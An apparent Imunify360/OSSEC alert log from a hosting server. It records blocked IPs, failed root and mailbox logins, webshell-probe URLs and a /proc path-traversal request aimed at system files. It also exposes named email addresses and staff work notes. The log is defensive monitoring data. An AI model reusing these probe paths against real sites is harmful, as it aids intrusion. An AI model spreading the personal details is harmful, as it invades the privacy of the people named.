Jan 15 18:18:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.97.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.196.144
country_id: 99237
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-41.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.90
country_id: 3469034
description:
Jan 15 18:18:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.90 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.250.117.128
country_id: 3996063
description:
[2026-01-15 18:19:50 +0800] info [whostmgrd] 187.250.117.128 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/news.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.56.240.143
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/process/Exception/ExceptionInterface.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.11.48
country_id: 2300660
description:
Jan 15 18:22:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.11.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.196
country_id: 798544
description:
Jan 15 18:22:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 18:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57013: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.10.129.230
country_id: 1643084
description:
[2026-01-15 18:24:59 +0800] info [whostmgrd] 182.10.129.230 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 18:24:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57014: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 20.215.214.18
country_id: 798544
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/proc/thread-self/cwd/etc/pcp.conf||User:root||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.253.181
country_id: 3469034
description:
Jan 15 18:27:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.253.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.250.47.16
country_id: 3469034
description:
Jan 15 18:30:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.250.47.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.231
country_id: 3469034
description:
Jan 15 18:31:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.250.47.16
country_id: 3469034
description:
Jan 15 18:30:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.250.47.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.196.111.103
country_id: 798544
description:
Jan 15 18:30:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.196.111.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.231
country_id: 3469034
description:
Jan 15 18:31:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 18:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64859: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.255.220.193
country_id: 3469034
description:
Jan 15 18:32:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.255.220.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 128.106.168.241
country_id: 1880251
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul style=\"margin-top: 0in;\" type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">update report for export &amp; import schedule (new order &amp; update existing order).&nbsp;</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">share coo to sejoong.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">vet draft bl from bvt.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">arrange container truck in with hk awards.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send vessel details to hkjc.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up draft docs from whitby.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up draft docs from havens.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">vet draft docs from havens.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send import schedule to tpl team.&nbsp;</span></li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 18:32:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64860: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.71.46
country_id: 1512440
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-6.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.109.137
country_id: 3469034
description:
Jan 15 18:37:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.109.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.109.137
country_id: 3469034
description:
Jan 15 18:37:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.109.137 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cert.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.100
country_id: 1269750
description:
Jan 15 18:41:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 49.149.135.17
country_id: 1694008
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p>&nbsp;</p>\r\n<ul>\r\n<li data-start=\"148\" data-end=\"272\"><span style=\"font-family: 'trebuchet ms', geneva, sans-serif;\">january 15,2026</span></li>\r\n<li data-start=\"148\" data-end=\"272\">\r\n<p data-start=\"150\" data-end=\"272\"><span style=\"font-family: 'trebuchet ms', geneva, sans-serif;\">prepared and forwarded itr 1&ndash;3 qtr 2025 to diana for business permit requirements, including provision of sales figures.</span></p>\r\n</li>\r\n<li style=\"font-family: 'trebuchet ms', geneva, sans-serif;\" data-start=\"273\" data-end=\"385\">\r\n<p data-start=\"275\" data-end=\"385\"><span style=\"font-family: 'trebuchet ms', geneva, sans-serif;\">prepared payroll using kami (finalized) for january 1st half 2026 and updated employees&rsquo; files individually.</span></p>\r\n</li>\r\n<li style=\"font-family: 'trebuchet ms', geneva, sans-serif;\" data-start=\"386\" data-end=\"433\">\r\n<p data-start=\"388\" data-end=\"433\"><span style=\"font-family: 'trebuchet ms', geneva, sans-serif;\">prepared dollar reports and required forms.</span></p>\r\n</li>\r\n<li style=\"font-family: 'trebuchet ms', geneva, sans-serif;\" data-start=\"434\" data-end=\"686\">\r\n<p data-start=\"436\" data-end=\"686\"><span style=\"font-family: 'trebuchet ms', geneva, sans-serif;\">installation are done already with 10 laptops ( except kuya norman), then now continuously coordinated with qne regarding the re-training schedule; requested the timetable for all departments&rsquo; time scheming and followed up on confirmation for february 2&ndash;6, 2026(confirmed), for trainer availability to conduct onsite and online training.</span></p>\r\n</li>\r\n<li style=\"font-family: 'trebuchet ms', geneva, sans-serif;\" data-start=\"687\" data-end=\"886\">\r\n<p data-start=\"689\" data-end=\"886\"><span style=\"font-family: 'trebuchet ms', geneva, sans-serif;\">reminded and provided instructions to angeline regarding resignation documentation and clearance of argem, issuance of last paycheck, and submitted the payslip to angeline for voucher processing.</span></p>\r\n</li>\r\n<li style=\"font-family: 'trebuchet ms', geneva, sans-serif;\" data-start=\"887\" data-end=\"915\">\r\n<p data-start=\"889\" data-end=\"915\"><span style=\"font-family: 'trebuchet ms', geneva, sans-serif;\">signed accounting files.</span></p>\r\n</li>\r\n<li style=\"font-family: 'trebuchet ms', geneva, sans-serif;\" data-start=\"916\" data-end=\"944\">\r\n<p data-start=\"918\" data-end=\"944\"><span style=\"font-family: 'trebuchet ms', geneva, sans-serif;\">followed up on incentives.</span></p>\r\n</li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.22
country_id: 3175395
description:
Jan 15 18:41:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.100
country_id: 1269750
description:
Jan 15 18:41:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.143.52
country_id: 2963597
description:
Jan 15 18:46:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.143.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.151
country_id: 3175395
description:
Jan 15 18:46:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.219.32.77
country_id: 6252001
description:
[2026-01-15 18:47:52 +0800] info [whostmgrd] 98.219.32.77 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.245.106.61
country_id: 6252001
description:
Jan 15 18:51:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.245.106.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.245.106.61
country_id: 6252001
description:
2026-01-15 18:51:57 dovecot_login authenticator failed for H=(localhost.localdomain) [172.245.106.61]:57609: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 18:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57029: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 18:52:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57030: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 18:52:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.147
country_id: 1269750
description:
Jan 15 18:53:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.147
country_id: 1269750
description:
Jan 15 18:53:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 18:56:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.85
country_id: 2510769
description:
Jan 15 18:58:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 19:00:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58133: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-00.89.110.114.187||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 19:00:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58134: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.136.54.7
country_id: 614540
description:
Jan 15 19:00:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.136.54.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.53
country_id: 3469034
description:
Jan 15 19:02:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.53 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.3.34.199
country_id: 2017370
description:
[2026-01-15 19:02:40 +0800] info [whostmgrd] 62.3.34.199 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.20.230.23
country_id: 3469034
description:
Jan 15 19:02:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.20.230.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.52
country_id: 3469034
description:
Jan 15 19:02:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.52 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-02.89.110.114.187||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.172.11.167
country_id: 1269750
description:
Jan 15 19:03:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.172.11.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.73.188
country_id: 6252001
description:
Jan 15 19:03:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.67
country_id: 3175395
description:
Jan 15 19:04:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.70.240.93
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/17html.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.234.178.190
country_id: 3469034
description:
Jan 15 19:04:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.234.178.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.160
country_id: 6290252
description:
Jan 15 19:05:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.254.20.233
country_id: 1814991
description:
2026-01-15 19:05:35 dovecot_login authenticator failed for H=(190-2-143-54.hosted-by-worldstream.net) [183.254.20.233]:2081: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.134.43
country_id: 3469034
description:
Jan 15 19:05:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.134.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.73.188
country_id: 6252001
description:
Jan 15 19:05:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.73.188 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 151.80.133.130
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/img/img/demos/img/demos/news.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.132.191
country_id: 3469034
description:
Jan 15 19:07:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.132.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.144.50.202
country_id: 1814991
description:
Jan 15 19:08:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.144.50.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.9.191
country_id: 1269750
description:
Jan 15 19:08:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.9.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.163.252.244
country_id: 1814991
description:
Jan 15 19:08:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.163.252.244 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.159.230
country_id: 1835841
description:
2026-01-15 19:08:31 dovecot_login authenticator failed for H=([220.72.159.230]) [220.72.159.230]:38216: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.72.159.230
country_id: 1835841
description:
Jan 15 19:08:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.72.159.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.144.50.202
country_id: 1814991
description:
2026-01-15 19:09:00 dovecot_login authenticator failed for H=([219.144.50.202]) [219.144.50.202]:54846: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.2
country_id: 3175395
description:
Jan 15 19:09:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.112.205.199
country_id: 2328926
domain: plomalite.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/plomalite.com/shop-single.php?id=2120 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.163.252.244
country_id: 1814991
description:
2026-01-15 19:08:20 dovecot_login authenticator failed for H=([220.163.252.244]) [220.163.252.244]:51527: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.202.50.164
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/product-details-acp.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.2
country_id: 3175395
description:
Jan 15 19:09:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.137
country_id: 3469034
description:
Jan 15 19:10:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.149
country_id: 3469034
description:
Jan 15 19:13:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.149 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.31
country_id: 130758
description:
2026-01-15 19:14:29 120886 [Warning] Aborted connection 120886 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.31' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.118
country_id: 798544
description:
Jan 15 19:14:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.104
country_id: 3469034
description:
Jan 15 19:14:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.149
country_id: 3469034
description:
Jan 15 19:14:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.172
country_id: 3865483
description:
